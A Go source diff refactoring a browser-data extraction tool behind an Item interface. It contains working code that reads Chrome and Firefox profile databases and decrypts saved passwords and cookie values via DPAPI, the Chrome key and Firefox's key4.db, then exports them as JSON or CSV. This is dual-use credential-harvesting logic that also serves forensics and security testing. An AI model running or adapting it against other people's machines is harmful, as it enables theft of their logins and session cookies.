refactoring code with interface, Close #22

core/common/parse.go

@@ -6,6 +6,7 @@ import (
 	"encoding/base64"
 	"io/ioutil"
 	"os"
+	"path/filepath"
 	"sort"
 	"time"
 
@@ -17,17 +18,13 @@ import (
 	"github.com/tidwall/gjson"
 )
 
-const (
-	ChromePassword   = "Login Data"
-	ChromeHistory    = "History"
-	ChromeCookies    = "Cookies"
-	ChromeBookmarks  = "Bookmarks"
-	FirefoxCookie    = "cookies.sqlite"
-	FirefoxKey4DB    = "key4.db"
-	FirefoxLoginData = "logins.json"
-	FirefoxData      = "places.sqlite"
-	FirefoxKey3DB    = "key3.db"
-)
+type Item interface {
+	ChromeParse(key []byte) error
+	FirefoxParse() error
+	OutPut(format, browser, dir string) error
+	CopyItem() error
+	Release() error
+}
 
 var (
 	queryChromiumLogin    = `SELECT origin_url, username_value, password_value, date_created FROM logins`
@@ -41,75 +38,17 @@ var (
 	closeJournalMode      = `PRAGMA journal_mode=off`
 )
 
-type (
-	BrowserData struct {
-		Logins
-		Bookmarks
-		History
-		Cookies
-	}
-	Logins struct {
-		logins []loginData
-	}
-	Bookmarks struct {
-		bookmarks []bookmark
-	}
-	History struct {
-		history []history
-	}
-	Cookies struct {
-		cookies map[string][]cookies
-	}
-)
+type bookmarks struct {
+	mainPath  string
+	bookmarks []bookmark
+}
 
-type (
-	loginData struct {
-		UserName    string
-		encryptPass []byte
-		encryptUser []byte
-		Password    string
-		LoginUrl    string
-		CreateDate  time.Time
-	}
-	bookmark struct {
-		ID        int64
-		Name      string
-		Type      string
-		URL       string
-		DateAdded time.Time
-	}
-	cookies struct {
-		Host         string
-		Path         string
-		KeyName      string
-		encryptValue []byte
-		Value        string
-		IsSecure     bool
-		IsHTTPOnly   bool
-		HasExpire    bool
-		IsPersistent bool
-		CreateDate   time.Time
-		ExpireDate   time.Time
-	}
-	history struct {
-		Title         string
-		Url           string
-		VisitCount    int
-		LastVisitTime time.Time
-	}
-)
+func NewBookmarks(main, sub string) Item {
+	return &bookmarks{mainPath: main}
+}
 
-const (
-	bookmarkID       = "id"
-	bookmarkAdded    = "date_added"
-	bookmarkUrl      = "url"
-	bookmarkName     = "name"
-	bookmarkType     = "type"
-	bookmarkChildren = "children"
-)
-
-func (b *Bookmarks) ChromeParse(key []byte) error {
-	bookmarks, err := utils.ReadFile(ChromeBookmarks)
+func (b *bookmarks) ChromeParse(key []byte) error {
+	bookmarks, err := utils.ReadFile(ChromeBookmarkFile)
 	if err != nil {
 		log.Error(err)
 		return err
@@ -125,55 +64,7 @@ func (b *Bookmarks) ChromeParse(key []byte) error {
 	return nil
 }
 
-func (l *Logins) ChromeParse(key []byte) error {
-	loginDB, err := sql.Open("sqlite3", ChromePassword)
-	if err != nil {
-		log.Error(err)
-		return err
-	}
-	defer func() {
-		if err := loginDB.Close(); err != nil {
-			log.Debug(err)
-		}
-	}()
-	rows, err := loginDB.Query(queryChromiumLogin)
-	defer func() {
-		if err := rows.Close(); err != nil {
-			log.Debug(err)
-		}
-	}()
-	for rows.Next() {
-		var (
-			url, username string
-			pwd, password []byte
-			create        int64
-		)
-		err = rows.Scan(&url, &username, &pwd, &create)
-		login := loginData{
-			UserName:    username,
-			encryptPass: pwd,
-			LoginUrl:    url,
-		}
-		if key == nil {
-			password, err = decrypt.DPApi(pwd)
-		} else {
-			password, err = decrypt.ChromePass(key, pwd)
-		}
-		if err != nil {
-			log.Debugf("%s have empty password %s", login.LoginUrl, err.Error())
-		}
-		if create > time.Now().Unix() {
-			login.CreateDate = utils.TimeEpochFormat(create)
-		} else {
-			login.CreateDate = utils.TimeStampFormat(create)
-		}
-		login.Password = string(password)
-		l.logins = append(l.logins, login)
-	}
-	return nil
-}
-
-func getBookmarkChildren(value gjson.Result, b *Bookmarks) (children gjson.Result) {
+func getBookmarkChildren(value gjson.Result, b *bookmarks) (children gjson.Result) {
 	nodeType := value.Get(bookmarkType)
 	bm := bookmark{
 		ID:        value.Get(bookmarkID).Int(),
@@ -194,8 +85,212 @@ func getBookmarkChildren(value gjson.Result, b *Bookmarks) (children gjson.Resul
 	return children
 }
 
-func (h *History) ChromeParse(key []byte) error {
-	historyDB, err := sql.Open("sqlite3", ChromeHistory)
+func (b *bookmarks) FirefoxParse() error {
+	var (
+		err          error
+		keyDB        *sql.DB
+		bookmarkRows *sql.Rows
+		tempMap      map[int64]string
+		bookmarkUrl  string
+	)
+	keyDB, err = sql.Open("sqlite3", FirefoxDataFile)
+	if err != nil {
+		log.Error(err)
+		return err
+	}
+	defer func() {
+		if err := keyDB.Close(); err != nil {
+			log.Error(err)
+		}
+		if err := bookmarkRows.Close(); err != nil {
+			log.Error(err)
+		}
+	}()
+	_, err = keyDB.Exec(closeJournalMode)
+	if err != nil {
+		log.Error(err)
+	}
+	bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks)
+	if err != nil {
+		log.Error(err)
+	}
+	for bookmarkRows.Next() {
+		var (
+			id, fk, bType, dateAdded int64
+			title                    string
+		)
+		err = bookmarkRows.Scan(&id, &fk, &bType, &dateAdded, &title)
+		if url, ok := tempMap[id]; ok {
+			bookmarkUrl = url
+		}
+		b.bookmarks = append(b.bookmarks, bookmark{
+			ID:        id,
+			Name:      title,
+			Type:      utils.BookMarkType(bType),
+			URL:       bookmarkUrl,
+			DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
+		})
+	}
+	return nil
+}
+
+func (b *bookmarks) CopyItem() error {
+	return utils.CopyDB(b.mainPath, filepath.Base(b.mainPath))
+}
+
+func (b *bookmarks) Release() error {
+	return os.Remove(filepath.Base(b.mainPath))
+}
+
+func (b *bookmarks) OutPut(format, browser, dir string) error {
+	sort.Slice(b.bookmarks, func(i, j int) bool {
+		return b.bookmarks[i].ID < b.bookmarks[j].ID
+	})
+	switch format {
+	case "json":
+		err := b.outPutJson(browser, dir)
+		return err
+	case "csv":
+		err := b.outPutCsv(browser, dir)
+		return err
+	}
+	return nil
+}
+
+type cookies struct {
+	mainPath string
+	cookies  map[string][]cookie
+}
+
+func NewCookies(main, sub string) Item {
+	return &cookies{mainPath: main}
+}
+
+func (c *cookies) ChromeParse(secretKey []byte) error {
+	c.cookies = make(map[string][]cookie)
+	cookieDB, err := sql.Open("sqlite3", ChromeCookieFile)
+	if err != nil {
+		log.Debug(err)
+		return err
+	}
+	defer func() {
+		if err := cookieDB.Close(); err != nil {
+			log.Debug(err)
+		}
+	}()
+	rows, err := cookieDB.Query(queryChromiumCookie)
+	defer func() {
+		if err := rows.Close(); err != nil {
+			log.Debug(err)
+		}
+	}()
+	for rows.Next() {
+		var (
+			key, host, path                               string
+			isSecure, isHTTPOnly, hasExpire, isPersistent int
+			createDate, expireDate                        int64
+			value, encryptValue                           []byte
+		)
+		err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
+		cookie := cookie{
+			KeyName:      key,
+			Host:         host,
+			Path:         path,
+			encryptValue: encryptValue,
+			IsSecure:     utils.IntToBool(isSecure),
+			IsHTTPOnly:   utils.IntToBool(isHTTPOnly),
+			HasExpire:    utils.IntToBool(hasExpire),
+			IsPersistent: utils.IntToBool(isPersistent),
+			CreateDate:   utils.TimeEpochFormat(createDate),
+			ExpireDate:   utils.TimeEpochFormat(expireDate),
+		}
+		// remove prefix 'v10'
+		if secretKey == nil {
+			value, err = decrypt.DPApi(encryptValue)
+		} else {
+			value, err = decrypt.ChromePass(secretKey, encryptValue)
+		}
+
+		cookie.Value = string(value)
+		c.cookies[host] = append(c.cookies[host], cookie)
+	}
+	return nil
+}
+
+func (c *cookies) FirefoxParse() error {
+	c.cookies = make(map[string][]cookie)
+	cookieDB, err := sql.Open("sqlite3", FirefoxCookieFile)
+	if err != nil {
+		log.Debug(err)
+		return err
+	}
+	defer func() {
+		if err := cookieDB.Close(); err != nil {
+			log.Debug(err)
+		}
+	}()
+	rows, err := cookieDB.Query(queryFirefoxCookie)
+	if err != nil {
+		log.Error(err)
+		return err
+	}
+	defer func() {
+		if err := rows.Close(); err != nil {
+			log.Debug(err)
+		}
+	}()
+	for rows.Next() {
+		var (
+			name, value, host, path string
+			isSecure, isHttpOnly    int
+			creationTime, expiry    int64
+		)
+		err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly)
+		c.cookies[host] = append(c.cookies[host], cookie{
+			KeyName:    name,
+			Host:       host,
+			Path:       path,
+			IsSecure:   utils.IntToBool(isSecure),
+			IsHTTPOnly: utils.IntToBool(isHttpOnly),
+			CreateDate: utils.TimeStampFormat(creationTime / 1000000),
+			ExpireDate: utils.TimeStampFormat(expiry),
+			Value:      value,
+		})
+	}
+	return nil
+}
+
+func (c *cookies) CopyItem() error {
+	return utils.CopyDB(c.mainPath, filepath.Base(c.mainPath))
+}
+
+func (c *cookies) Release() error {
+	return os.Remove(filepath.Base(c.mainPath))
+}
+
+func (c *cookies) OutPut(format, browser, dir string) error {
+	switch format {
+	case "json":
+		err := c.outPutJson(browser, dir)
+		return err
+	case "csv":
+		err := c.outPutCsv(browser, dir)
+		return err
+	}
+	return nil
+}
+
+type historyData struct {
+	mainPath string
+	history  []history
+}
+
+func NewHistoryData(main, sub string) Item {
+	return &historyData{mainPath: main}
+}
+
+func (h *historyData) ChromeParse(key []byte) error {
+	historyDB, err := sql.Open("sqlite3", ChromeHistoryFile)
 	if err != nil {
 		log.Error(err)
 		return err
@@ -233,58 +328,7 @@ func (h *History) ChromeParse(key []byte) error {
 	return nil
 }
 
-func (c *Cookies) ChromeParse(secretKey []byte) error {
-	c.cookies = make(map[string][]cookies)
-	cookieDB, err := sql.Open("sqlite3", ChromeCookies)
-	if err != nil {
-		log.Debug(err)
-		return err
-	}
-	defer func() {
-		if err := cookieDB.Close(); err != nil {
-			log.Debug(err)
-		}
-	}()
-	rows, err := cookieDB.Query(queryChromiumCookie)
-	defer func() {
-		if err := rows.Close(); err != nil {
-			log.Debug(err)
-		}
-	}()
-	for rows.Next() {
-		var (
-			key, host, path                               string
-			isSecure, isHTTPOnly, hasExpire, isPersistent int
-			createDate, expireDate                        int64
-			value, encryptValue                           []byte
-		)
-		err = rows.Scan(&key, &encryptValue, &host, &path, &createDate, &expireDate, &isSecure, &isHTTPOnly, &hasExpire, &isPersistent)
-		cookie := cookies{
-			KeyName:      key,
-			Host:         host,
-			Path:         path,
-			encryptValue: encryptValue,
-			IsSecure:     utils.IntToBool(isSecure),
-			IsHTTPOnly:   utils.IntToBool(isHTTPOnly),
-			HasExpire:    utils.IntToBool(hasExpire),
-			IsPersistent: utils.IntToBool(isPersistent),
-			CreateDate:   utils.TimeEpochFormat(createDate),
-			ExpireDate:   utils.TimeEpochFormat(expireDate),
-		}
-		// remove prefix 'v10'
-		if secretKey == nil {
-			value, err = decrypt.DPApi(encryptValue)
-		} else {
-			value, err = decrypt.ChromePass(secretKey, encryptValue)
-		}
-
-		cookie.Value = string(value)
-		c.cookies[host] = append(c.cookies[host], cookie)
-	}
-	return nil
-}
-
-func (h *History) FirefoxParse() error {
+func (h *historyData) FirefoxParse() error {
 	var (
 		err         error
 		keyDB       *sql.DB
@@ -292,7 +336,7 @@ func (h *History) FirefoxParse() error {
 		tempMap     map[int64]string
 	)
 	tempMap = make(map[int64]string)
-	keyDB, err = sql.Open("sqlite3", FirefoxData)
+	keyDB, err = sql.Open("sqlite3", FirefoxDataFile)
 	if err != nil {
 		log.Error(err)
 		return err
@@ -334,83 +378,55 @@ func (h *History) FirefoxParse() error {
 	return nil
 }
 
-func (b *Bookmarks) FirefoxParse() error {
-	var (
-		err          error
-		keyDB        *sql.DB
-		bookmarkRows *sql.Rows
-		tempMap      map[int64]string
-		bookmarkUrl  string
-	)
-	keyDB, err = sql.Open("sqlite3", FirefoxData)
-	if err != nil {
-		log.Error(err)
+func (h *historyData) CopyItem() error {
+	return utils.CopyDB(h.mainPath, filepath.Base(h.mainPath))
+}
+
+func (h *historyData) Release() error {
+	return os.Remove(filepath.Base(h.mainPath))
+}
+
+func (h *historyData) OutPut(format, browser, dir string) error {
+	sort.Slice(h.history, func(i, j int) bool {
+		return h.history[i].VisitCount > h.history[j].VisitCount
+	})
+	switch format {
+	case "json":
+		err := h.outPutJson(browser, dir)
+		return err
+	case "csv":
+		err := h.outPutCsv(browser, dir)
 		return err
-	}
-	_, err = keyDB.Exec(closeJournalMode)
-	if err != nil {
-		log.Error(err)
-	}
-	bookmarkRows, err = keyDB.Query(queryFirefoxBookMarks)
-	defer func() {
-		if err := bookmarkRows.Close(); err != nil {
-			log.Error(err)
-		}
-	}()
-	for bookmarkRows.Next() {
-		var (
-			id, fk, bType, dateAdded int64
-			title                    string
-		)
-		err = bookmarkRows.Scan(&id, &fk, &bType, &dateAdded, &title)
-		if url, ok := tempMap[id]; ok {
-			bookmarkUrl = url
-		}
-		b.bookmarks = append(b.bookmarks, bookmark{
-			ID:        id,
-			Name:      title,
-			Type:      utils.BookMarkType(bType),
-			URL:       bookmarkUrl,
-			DateAdded: utils.TimeStampFormat(dateAdded / 1000000),
-		})
 	}
 	return nil
 }
 
-func (b *Bookmarks) Release(filename string) error {
-	return os.Remove(filename)
+type passwords struct {
+	mainPath string
+	subPath  string
+	logins   []loginData
 }
 
-func (c *Cookies) Release(filename string) error {
-	return os.Remove(filename)
+func NewFPasswords(main, sub string) Item {
+	return &passwords{mainPath: main, subPath: sub}
 }
 
-func (h *History) Release(filename string) error {
-	return os.Remove(filename)
+func NewCPasswords(main, sub string) Item {
+	return &passwords{mainPath: main}
 }
 
-func (l *Logins) Release(filename string) error {
-	return os.Remove(filename)
-}
-
-func (c *Cookies) FirefoxParse() error {
-	cookie := cookies{}
-	c.cookies = make(map[string][]cookies)
-	cookieDB, err := sql.Open("sqlite3", FirefoxCookie)
-	if err != nil {
-		log.Debug(err)
-		return err
-	}
-	defer func() {
-		if err := cookieDB.Close(); err != nil {
-			log.Debug(err)
-		}
-	}()
-	rows, err := cookieDB.Query(queryFirefoxCookie)
+func (p *passwords) ChromeParse(key []byte) error {
+	loginDB, err := sql.Open("sqlite3", ChromePasswordFile)
 	if err != nil {
 		log.Error(err)
 		return err
 	}
+	defer func() {
+		if err := loginDB.Close(); err != nil {
+			log.Debug(err)
+		}
+	}()
+	rows, err := loginDB.Query(queryChromiumLogin)
 	defer func() {
 		if err := rows.Close(); err != nil {
 			log.Debug(err)
@@ -418,28 +434,39 @@ func (c *Cookies) FirefoxParse() error {
 	}()
 	for rows.Next() {
 		var (
-			name, value, host, path string
-			isSecure, isHttpOnly    int
-			creationTime, expiry    int64
+			url, username string
+			pwd, password []byte
+			create        int64
 		)
-		err = rows.Scan(&name, &value, &host, &path, &creationTime, &expiry, &isSecure, &isHttpOnly)
-		cookie = cookies{
-			KeyName:    name,
-			Host:       host,
-			Path:       path,
-			IsSecure:   utils.IntToBool(isSecure),
-			IsHTTPOnly: utils.IntToBool(isHttpOnly),
-			CreateDate: utils.TimeStampFormat(creationTime / 1000000),
-			ExpireDate: utils.TimeStampFormat(expiry),
+		err = rows.Scan(&url, &username, &pwd, &create)
+		if err != nil {
+			log.Error(err)
 		}
-
-		cookie.Value = value
-		c.cookies[host] = append(c.cookies[host], cookie)
+		login := loginData{
+			UserName:    username,
+			encryptPass: pwd,
+			LoginUrl:    url,
+		}
+		if key == nil {
+			password, err = decrypt.DPApi(pwd)
+		} else {
+			password, err = decrypt.ChromePass(key, pwd)
+		}
+		if err != nil {
+			log.Debugf("%s have empty password %s", login.LoginUrl, err.Error())
+		}
+		if create > time.Now().Unix() {
+			login.CreateDate = utils.TimeEpochFormat(create)
+		} else {
+			login.CreateDate = utils.TimeStampFormat(create)
+		}
+		login.Password = string(password)
+		p.logins = append(p.logins, login)
 	}
 	return nil
 }
 
-func (l *Logins) FirefoxParse() error {
+func (p *passwords) FirefoxParse() error {
 	globalSalt, metaBytes, nssA11, nssA102, err := getDecryptKey()
 	if err != nil {
 		log.Error(err)
@@ -479,23 +506,23 @@ func (l *Logins) FirefoxParse() error {
 				return err
 			}
 			for _, v := range allLogins {
-				user, _ := decrypt.DecodeLogin(v.encryptUser)
-				pwd, _ := decrypt.DecodeLogin(v.encryptPass)
-				u, err := decrypt.Des3Decrypt(finallyKey, user.Iv, user.Encrypted)
+				userPBE, _ := decrypt.DecodeLogin(v.encryptUser)
+				pwdPBE, _ := decrypt.DecodeLogin(v.encryptPass)
+				user, err := decrypt.Des3Decrypt(finallyKey, userPBE.Iv, userPBE.Encrypted)
+				if err != nil {
+					log.Error(err)
+					return err
+				}
+				pwd, err := decrypt.Des3Decrypt(finallyKey, pwdPBE.Iv, pwdPBE.Encrypted)
 				if err != nil {
 					log.Error(err)
 					return err
 				}
 				log.Debug("decrypt firefox success")
-				p, err := decrypt.Des3Decrypt(finallyKey, pwd.Iv, pwd.Encrypted)
-				if err != nil {
-					log.Error(err)
-					return err
-				}
-				l.logins = append(l.logins, loginData{
+				p.logins = append(p.logins, loginData{
 					LoginUrl:   v.LoginUrl,
-					UserName:   string(decrypt.PKCS5UnPadding(u)),
-					Password:   string(decrypt.PKCS5UnPadding(p)),
+					UserName:   string(decrypt.PKCS5UnPadding(user)),
+					Password:   string(decrypt.PKCS5UnPadding(pwd)),
 					CreateDate: v.CreateDate,
 				})
 
@@ -505,13 +532,48 @@ func (l *Logins) FirefoxParse() error {
 	return nil
 }
 
+func (p *passwords) CopyItem() error {
+	err := utils.CopyDB(p.mainPath, filepath.Base(p.mainPath))
+	if err != nil {
+		log.Error(err)
+	}
+	if p.subPath != "" {
+		err = utils.CopyDB(p.subPath, filepath.Base(p.subPath))
+	}
+	return err
+}
+
+func (p *passwords) Release() error {
+	err := os.Remove(filepath.Base(p.mainPath))
+	if err != nil {
+		log.Error(err)
+	}
+	if p.subPath != "" {
+		err = os.Remove(filepath.Base(p.subPath))
+	}
+	return err
+}
+
+func (p *passwords) OutPut(format, browser, dir string) error {
+	sort.Sort(p)
+	switch format {
+	case "json":
+		err := p.outPutJson(browser, dir)
+		return err
+	case "csv":
+		err := p.outPutCsv(browser, dir)
+		return err
+	}
+	return nil
+}
+
 func getDecryptKey() (item1, item2, a11, a102 []byte, err error) {
 	var (
 		keyDB   *sql.DB
 		pwdRows *sql.Rows
 		nssRows *sql.Rows
 	)
-	keyDB, err = sql.Open("sqlite3", FirefoxKey4DB)
+	keyDB, err = sql.Open("sqlite3", FirefoxKey4File)
 	if err != nil {
 		log.Error(err)
 		return nil, nil, nil, nil, err
@@ -552,7 +614,7 @@ func getDecryptKey() (item1, item2, a11, a102 []byte, err error) {
 }
 
 func getLoginData() (l []loginData, err error) {
-	s, err := ioutil.ReadFile(FirefoxLoginData)
+	s, err := ioutil.ReadFile(FirefoxLoginFile)
 	if err != nil {
 		return nil, err
 	}
@@ -579,32 +641,72 @@ func getLoginData() (l []loginData, err error) {
 	return
 }
 
-func (b *BrowserData) Sorted() {
-	sort.Slice(b.bookmarks, func(i, j int) bool {
-		return b.bookmarks[i].ID < b.bookmarks[j].ID
-	})
-	sort.Slice(b.history, func(i, j int) bool {
-		return b.history[i].VisitCount > b.history[j].VisitCount
-	})
-	sort.Sort(b.Logins)
+type (
+	loginData struct {
+		UserName    string
+		encryptPass []byte
+		encryptUser []byte
+		Password    string
+		LoginUrl    string
+		CreateDate  time.Time
+	}
+	bookmark struct {
+		ID        int64
+		Name      string
+		Type      string
+		URL       string
+		DateAdded time.Time
+	}
+	cookie struct {
+		Host         string
+		Path         string
+		KeyName      string
+		encryptValue []byte
+		Value        string
+		IsSecure     bool
+		IsHTTPOnly   bool
+		HasExpire    bool
+		IsPersistent bool
+		CreateDate   time.Time
+		ExpireDate   time.Time
+	}
+	history struct {
+		Title         string
+		Url           string
+		VisitCount    int
+		LastVisitTime time.Time
+	}
+)
+
+const (
+	bookmarkID       = "id"
+	bookmarkAdded    = "date_added"
+	bookmarkUrl      = "url"
+	bookmarkName     = "name"
+	bookmarkType     = "type"
+	bookmarkChildren = "children"
+)
+
+const (
+	ChromePasswordFile = "Login Data"
+	ChromeHistoryFile  = "History"
+	ChromeCookieFile   = "Cookies"
+	ChromeBookmarkFile = "Bookmarks"
+	FirefoxCookieFile  = "cookies.sqlite"
+	FirefoxKey4File    = "key4.db"
+	FirefoxLoginFile   = "logins.json"
+	FirefoxDataFile    = "places.sqlite"
+	FirefoxKey3DB      = "key3.db"
+)
+
+func (p passwords) Len() int {
+	return len(p.logins)
 }
 
-func (l Logins) Len() int {
-	return len(l.logins)
+func (p passwords) Less(i, j int) bool {
+	return p.logins[i].CreateDate.After(p.logins[j].CreateDate)
 }
 
-func (l Logins) Less(i, j int) bool {
-	return l.logins[i].CreateDate.After(l.logins[j].CreateDate)
-}
-
-func (l Logins) Swap(i, j int) {
-	l.logins[i], l.logins[j] = l.logins[j], l.logins[i]
-}
-
-type Formatter interface {
-	ChromeParse(key []byte) error
-	FirefoxParse() error
-	OutPutJson(browser, dir string) error
-	OutPutCsv(browser, dir string) error
-	Release(filename string) error
+func (p passwords) Swap(i, j int) {
+	p.logins[i], p.logins[j] = p.logins[j], p.logins[i]
 }